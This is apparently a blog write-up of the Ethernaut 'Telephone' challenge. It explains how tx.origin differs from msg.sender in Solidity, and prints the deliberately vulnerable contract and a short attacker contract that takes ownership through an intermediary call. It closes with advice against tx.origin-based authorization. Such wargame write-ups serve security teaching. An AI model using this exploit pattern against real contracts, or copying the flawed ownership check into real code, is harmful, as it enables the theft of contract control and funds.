Ethernaut(Lvl 4): Ring! Ring! Ring!
Table of contents
In the Ethereum blockchain ecosystem, understanding the roles of tx.origin
and msg.sender
is pivotal for ensuring security and accountability within smart contracts. tx.origin
refers to the original user wallet that initiated a transaction, serving as the root address in a potential chain of transactions and calls. It exclusively identifies user wallet addresses and never points to a contract address. On the other hand, msg.sender
signifies the immediate sender of a specific transaction or call, encompassing both user wallets and smart contracts.
When examining these concepts in the context of the final node in a transaction or call chain, tx.origin
sheds light on the ultimate user wallet that triggered the transaction, while msg.sender
indicates the immediate source of the transaction or call. Typically, when implementing authentication mechanisms or determining the source of an external function call, developers focus on msg.sender
due to its direct relevance to the current transaction context.
The Challenge
The challenge requires you to take ownership of the Telephone contract in order to claim ownership, doing this makes you learn the difference between tx.origin
and msg.sender
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
In the provided Telephone.sol
contract, the changeOwner
function verifies whether the transaction's origin (tx.origin
) differs from the immediate sender (msg.sender
). This observation suggests a potential scenario for successfully triggering this function, as outlined below:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Interface for the Telephone contract
interface ITelephone {
// External function to change the owner of the contract
function changeOwner(address _owner) external;
}
// Contract to exploit the vulnerability in the Telephone contract
contract TelephoneHacker {
// Constructor to execute the attack
constructor(address _telephone) {
// Call the changeOwner function of the targeted Telephone contract
// with the deploying address as the new owner
ITelephone(_telephone).changeOwner(msg.sender);
}
}
This TelephoneHacker
contract leverages the ITelephone
interface to call the changeOwner
function of the targeted Telephone
contract, effectively transferring ownership to the msg.sender
upon contract deployment. This effectively allows claiming ownership of the victim contract.
Developer TidBits
Avoid employing tx.origin
as a means of authorization to determine who is calling your contracts. Instead, opt for msg.sender
if you require authorization from the immediate sender.
Subscribe to my newsletter
Read articles from Abdulsamad sadiq directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by